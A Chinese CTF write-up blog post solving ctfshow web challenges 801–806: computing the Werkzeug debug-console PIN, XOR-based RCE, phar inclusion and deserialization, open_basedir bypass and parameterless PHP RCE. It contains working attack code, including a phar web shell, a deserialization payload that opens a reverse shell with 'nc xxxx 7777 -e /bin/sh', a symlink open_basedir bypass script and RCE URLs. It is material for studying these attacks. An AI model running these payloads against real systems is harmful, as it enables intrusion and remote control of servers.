1NDEX

  • 0x00 前言
  • 801 flask pin码计算
      • 谨记!!python 3.8和3.6 pin码生成方式不同
      • werkzeug版本不同machine-id获取不同
    • python3.8 pin码生成
    • 要素
      • 过一下前一个版本(0.16.1)get machine-id部分源码
      • werkzeug 1.0.0rc1及以后
    • 3.6 MD5
    • 3.8 sha1
    • 实操一下web801
  • 802 无字母数字命令执行
    • 异或法
  • 803 phar文件包含
  • 804 phar反序列化
  • 805 open_basedir绕过
    • 1.拿p神的脚本镇一下
    • 2. chdir过
  • 806 无参数rce
    • 1. session_id执行
    • 2.getallheaders()
      • getallheaders
      • end
      • array_reverse
    • 3. get_defined_vars()
      • get_defined_vars
    • 4.scandir(current(localeconv()))
    • 5. dirname
      • dirname
      • array_flip
      • array_rand
      • str_split
      • set_include_path
  • 0x02 rethink

0x00 前言

小记一手ctfshow web入门常用姿势

801 flask pin码计算

谨记!!python 3.8和3.6 pin码生成方式不同

werkzeug版本不同machine-id获取不同

参考

https://blog.csdn.net/weixin_54648419/article/details/123632203

条件: flask debug模式开启 存在任意文件读取

python3.8 pin码生成

#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]_machine_id: t.Optional[t.Union[str, bytes]] = None#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:global _machine_idif _machine_id is not None:return _machine_iddef _generate() -> t.Optional[t.Union[str, bytes]]:linux = b""# machine-id is stable across boots, boot_id is not.for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:value = f.readline().strip()except OSError:continueif value:#读取文件进行拼接linux += valuebreak# Containers share the same machine id, add some cgroup# information. This is used outside containers too but should be# relatively stable across boots.try:with open("/proc/self/cgroup", "rb") as f:#继续进行拼接,这里处理一下只要/docker后的东西linux += f.readline().strip().rpartition(b"/")[2]except OSError:passif linux:return linux# On OS X, use ioreg to get the computer's serial number.try:# subprocess may not be available, e.g. Google App Engine# https://github.com/pallets/werkzeug/issues/925from subprocess import Popen, PIPEdump = Popen(["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE).communicate()[0]match = re.search(b'"serial-number" = <([^>]+)', dump)if match is not None:return match.group(1)except (OSError, ImportError):pass# On Windows, use winreg to get the machine guid.if sys.platform == "win32":import winregtry:with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Cryptography",0,winreg.KEY_READ | winreg.KEY_WOW64_64KEY,) as rk:guid: t.Union[str, bytes]guid_type: intguid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")if guid_type == winreg.REG_SZ:return guid.encode("utf-8")return guidexcept OSError:passreturn None_machine_id = _generate()return _machine_idclass _ConsoleFrame:"""Helper class so that we can reuse the frame console code for thestandalone console."""def __init__(self, namespace: t.Dict[str, t.Any]):self.console = Console(namespace)self.id = 0def get_pin_and_cookie_name(app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:"""Given an application object this returns a semi-stable 9 digit pincode and a random key.  The hope is that this is stable betweenrestarts to not make debugging particularly frustrating.  If the pinwas forcefully disabled this returns `None`.Second item in the resulting tuple is the cookie name for remembering."""pin = os.environ.get("WERKZEUG_DEBUG_PIN")rv = Nonenum = None# Pin was explicitly disabledif pin == "off":return None, None# Pin was provided explicitlyif pin is not None and pin.replace("-", "").isdigit():# If there are separators in the pin, return it directlyif "-" in pin:rv = pinelse:num = pinmodname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)username: t.Optional[str]try:# getuser imports the pwd module, which does not exist in Google# App Engine. It may also raise a KeyError if the UID does not# have a username, such as in Docker.username = getpass.getuser()except (ImportError, KeyError):username = Nonemod = sys.modules.get(modname)# This information only exists to make the cookie unique on the# computer, not as a security feature.probably_public_bits = [username,modname,getattr(app, "__name__", type(app).__name__),getattr(mod, "__file__", None),]# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [str(uuid.getnode()), get_machine_id()]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_name

要素

  1. username 启动flask的用户名 (/etc/passwd 读取
  2. modname 默认值flask.app
  3. appname 默认flask
  4. moddir 可通过报错信息得到 flask库下app.py的绝对路径
  5. uuidnode 读取/sys/class/net/ens33/address MAC地址十六进制转化为十进制 根据网卡名称自行更改
  6. machine-id(更正)

回看commit返现问题

https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f

werkzeug 1.0.0rc1 release中做了变动

过一下前一个版本(0.16.1)get machine-id部分源码

def get_machine_id():global _machine_idrv = _machine_idif rv is not None:return rvdef _generate():# docker containers share the same machine id, get the# container id insteadtry:with open("/proc/self/cgroup") as f:value = f.readline()except IOError:passelse:value = value.strip().partition("/docker/")[2]if value:return value# Potential sources of secret information on linux.  The machine-id# is stable across boots, the boot id is notfor filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:return f.readline().strip()except IOError:continue

可以看到先从/proc/self/cgroup判断是否是docker容器,如果有符合条件的值直接返回value;如果未在cgroup中读到/docker/后的内容
进行下一步,先后读取/etc/machine-id 和 boot_id中的值返回一个

所以此处machine-id应为
docker: cgroup中 /docker/后的内容
非docker: 先后读取machine-id和boot_id 有值即取

werkzeug 1.0.0rc1及以后

    def _generate():linux = b""# machine-id is stable across boots, boot_id is not.for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:value = f.readline().strip()except IOError:continueif value:linux += valuebreak# Containers share the same machine id, add some cgroup# information. This is used outside containers too but should be# relatively stable across boots.try:with open("/proc/self/cgroup", "rb") as f:linux += f.readline().strip().rpartition(b"/")[2]except IOError:passif linux:return linux

先从/etc/machine-id和/proc/sys/kernel/random/boot_id读出一个就跳出,然后再读取/proc/self/cgroup中的id值拼接
所以此处machine-id为
/etc/machine-id + /proc/self/cgroup

/proc/sys/kernel/random/boot_id + /proc/self/cgroup

3.6 MD5

#MD5
import hashlib
from itertools import chain
probably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

3.8 sha1

#sha1
import hashlib
from itertools import chain
probably_public_bits = ['root'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]private_bits = ['2485377581187',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

实操一下web801

username看到带shell的也就root了

接下来两个都是默认值
moddir
/usr/local/lib/python3.8/site-packages/flask/app.py

MAC
2485377618015

machine-id
653dc458-4634-42b1-9a7a-b22a082e1fceed5c8ceff0d394a6cb7c28766faf1e8f4e5ef6a8e2ccbea7d1577e858915b0d1


802 无字母数字命令执行

异或法

通过自增方式获得所有字母

嫖个师傅脚本
羽师傅我的超人

https://blog.csdn.net/miuzzx/article/details/109143413

# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

803 phar文件包含

下次一定一定记得 没有写权限就往tmp临时目录写…
phar包就当压缩包用了
贴源码

<?php# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.comerror_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];if(isset($content) && !preg_match('/php|data|ftp/i',$file)){if(file_exists($file.'.txt')){include $file.'.txt';}else{file_put_contents($file,$content);}
}

可能不谈反序列化,有的人就不想用phar了…
不用自定义meta-data了

<?php$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub$phar->addFromString('test.txt', '<?php system($_POST[a]);?>'); //$phar->stopBuffering();// phar生成?>

记住有个东西叫从文件粘贴…

php单引号和双引号包裹的区别

804 phar反序列化

老生常谈了 题目中如果没有unserialize函数
写过

https://blog.csdn.net/weixin_45751765/article/details/123733647?spm=1001.2014.3001.5501

<?phpclass hacker{public $code;public function __destruct(){eval($this->code);}
}// @unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new hacker();$o->code="system('nc xxxx 7777 -e /bin/sh');";$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();// phar生成?>

利用函数file_exist触发phar解析

805 open_basedir绕过

glob探测目录

  $a = "glob:///*";if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."\n";}closedir($b);}

1.拿p神的脚本镇一下

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name);chdir($name);$j++;
}
for ($i = 0; $i <= $j; $i++) { chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from = rtrim($from, '\/') . '/';$from = str_replace('\\', '/', $from);$to   = str_replace('\\', '/', $to);$from   = explode('/', $from);$to     = explode('/', $to);$relPath  = $to;foreach($from as $depth => $dir) {// find first non-matching dirif($dir === $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining = count($from) - $depth;if($remaining > 1) {// add traversals up to first matching dir$padLength = (count($relPath) + $remaining - 1) * -1;$relPath = array_pad($relPath, $padLength, '..');break;} else {$relPath[0] = './' . $relPath[0];}}}return implode('/', $relPath);
}function delfile($deldir){if (@is_file($deldir)) {@chmod($deldir,0777);return @unlink($deldir);}else if(@is_dir($deldir)){if(($mydir = @opendir($deldir)) == NULL) return false;while(false !== ($file = @readdir($mydir))){$name = File_Str($deldir.'/'.$file);if(($file!='.') && ($file!='..')){delfile($name);}} @closedir($mydir);@chmod($deldir,0777);return @rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace('//','/',str_replace('\\','/',$string));
}function getRandStr($length = 6) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr = '';for ($i = 0; $i < $length; $i++) {$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}

p神 永远滴神

2. chdir过

不赘述

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");

806 无参数rce

参考

https://www.cnblogs.com/sylover/p/11863778.html

1. session_id执行

仅限php7版本以下使用
http-header传参

在session_id中设置我们想要输入的RCE,达到传参的目的,但是第一点需要session_start()开启session会话。

payload:code=eval(hex2bin(session_id(session_start())));

hex(“phpinfo();”)=706870696e666f28293b

此处第一种方法不可行(maybe我太菜了没理解)
会话已存活 无法改变session_id

2.getallheaders()

获取请求头信息

getallheaders

(PHP 4, PHP 5, PHP 7, PHP 8)

getallheaders — 获取全部 HTTP 请求头信息

说明 ¶
getallheaders(): array
获取当前请求的所有请求头信息。

end

(PHP 4, PHP 5, PHP 7, PHP 8)

end — 将数组的内部指针指向最后一个单元

说明 ¶
end(array|object &$array): mixed
end() 将 array 的内部指针移动到最后一个单元并返回其值

array_reverse

(PHP 4, PHP 5, PHP 7, PHP 8)

array_reverse — 返回单元顺序相反的数组

说明 ¶
array_reverse(array $array, bool $preserve_keys = false): array
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。

一套combo我们可以取出请求头中最后一位


3. get_defined_vars()

get_defined_vars

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_vars — 返回由所有已定义变量所组成的数组

描述 ¶
get_defined_vars(): array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
先get_defined_vars()得到四个数组get -> post -> cookie -> files
current定位第一个get
code之后再定义一个参数前面套个end就能拿到我们自定义的

/?code=var_dump(end(current(get_defined_vars())));&b=1


4.scandir(current(localeconv()))

写过

https://blog.csdn.net/weixin_45751765/article/details/121529484?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164986759116780271987419%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164986759116780271987419&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-6-121529484.nonecase&utm_term=current&spm=1018.2226.3001.4450

5. dirname

php特性:对目录取目录得上级目录!

dirname

(PHP 4, PHP 5, PHP 7, PHP 8)

dirname — 返回路径中的目录部分

说明 ¶
dirname(string $path, int $levels = 1): string
给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名,且目录深度为 levels 级。

/?code=print_r(scandir(dirname(dirname(dirname(dirname(getcwd()))))));

套娃

show_source和readfile特性

array_flip

(PHP 4, PHP 5, PHP 7, PHP 8)

array_flip — 交换数组中的键和值

说明 ¶
array_flip(array $array): array
array_flip() 返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。

array_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

array_rand — 从数组中随机取出一个或多个随机键

说明 ¶
array_rand(array $array, int $num = 1): int|string|array
从数组中取出一个或多个随机的单元,并返回随机条目对应的键(一个或多个)。 它使用了伪随机数产生算法,所以不适合密码学场景。

参数 ¶
array
输入的数组。

num
指定要取出的单元数量。

返回值 ¶
如果只取出一个,array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。 如果返回的是包含随机键名的数组,数组单元的顺序按照键名在原数组中的顺序排列。 取出数量如果超过 array 的长度,就会导致 E_WARNING 错误,并返回 NULL。

str_split

(PHP 5, PHP 7, PHP 8)

str_split — 将字符串转换为数组

说明 ¶
str_split(string $string, int $split_length = 1): array
将一个字符串转换为数组。

参数 ¶
string
输入字符串。

split_length
每一段的长度。

set_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

set_include_path — 设置 include_path 配置选项

说明 ¶
set_include_path(string $new_include_path): string
为当前脚本设置 include_path 运行时的配置选项。
返回值 ¶
成功时返回旧的 include_path 或者在失败时返回 false。

此题中旧的include_path为 .:/usr/local/lib/php
存在我们所需要的字符串 /
又能让show_source可以读取include_path下的文件
一举两得

拆分一下看起来更易懂
set_include_path返回 .:/usr/local/lib/php

?code=show_source(array_rand(array_flip(scandir(array_rand(x));
x=array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd()))))))


运气就rand到了 字符串 /

php > echo array_rand(array_flip(str_split('.:/usr/local/lib/php')));
Xdebug: [Step Debug] Time-out connecting to debugging client, waited: 200 ms. Tried: localhost:9000 (through xdebug.client_host/xdebug.client_port) :-(
/

然后同样的套路 show_source随机读
这种利用方法需要持续发包碰运气撞出来

0x02 rethink

本来想801-806放在一起的… 但好像太冗长了 还是拆开来吧

[ctfshow web入门]常用姿势801-806相关推荐

  1. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  2. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  3. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  4. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  5. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  6. ctfshow web入门-XXE

    ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...

  7. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  8. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  9. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

最新文章

  1. Linux常用命令----压缩解压命令
  2. Redis 总结精讲 看一篇成高手系统 四
  3. code blocks代码性能分析_记一次Python Web接口优化,性能提升25倍!
  4. python如何关闭multiprocess_python 开启进程两种方法 multiprocessing模块 介绍
  5. 统计学习方法笔记(李航)———第三章(k近邻法)
  6. 75-100-020-测试-MySQL 单表优化案例
  7. velocity mybatis spring 在maven的整合开发(四)
  8. 全面屏手机有什么缺点?
  9. 沈航C语言上机实验题答案,大学大一c语言程序设计实验室上机题全部代码答案(实验报告).doc...
  10. Android学习总汇
  11. activiti中的查询sql
  12. js每隔5分钟执行一次ajax请求的实现方法
  13. mysql 1067
  14. 语法分析器-LL(1)语法分析
  15. 跨专业考计算机研究生有专业限制吗,我想跨专业考计算机专业研究生
  16. 技术美术面试问题总结——数字天空
  17. 角色设计竟然有这些小技巧
  18. 单端通用ISM频段接收器 Si4313
  19. 30岁自学python找工作-自学编程的30岁男人,能按应届生那样找工作吗?
  20. 计算机u盘设备无法启动不了,U盘不能识别,该设备无法启动。(代码10)

热门文章

  1. [work*] 如何理解最小二乘法
  2. 如何用Java实现浏览器文件下载功能
  3. Python 实现 popocat 回收站图标更换
  4. python lcut精确分词_jieba分词-Python中文分词领域的佼佼者
  5. wdr7300 虚拟服务器,TP-Link TL-WDR7300路由器设置方法
  6. php评论 盖楼,我努力了一下,终于把博客的评论样式改成盖楼样式了,完美
  7. 多核处理器_苹果A14:尽管我在挤牙膏,但安卓的处理器你们都是弟弟
  8. 【EZSocket】亿赛通电子文档安全管理系统
  9. Java字符串比较(3种方法)
  10. scala 模式匹配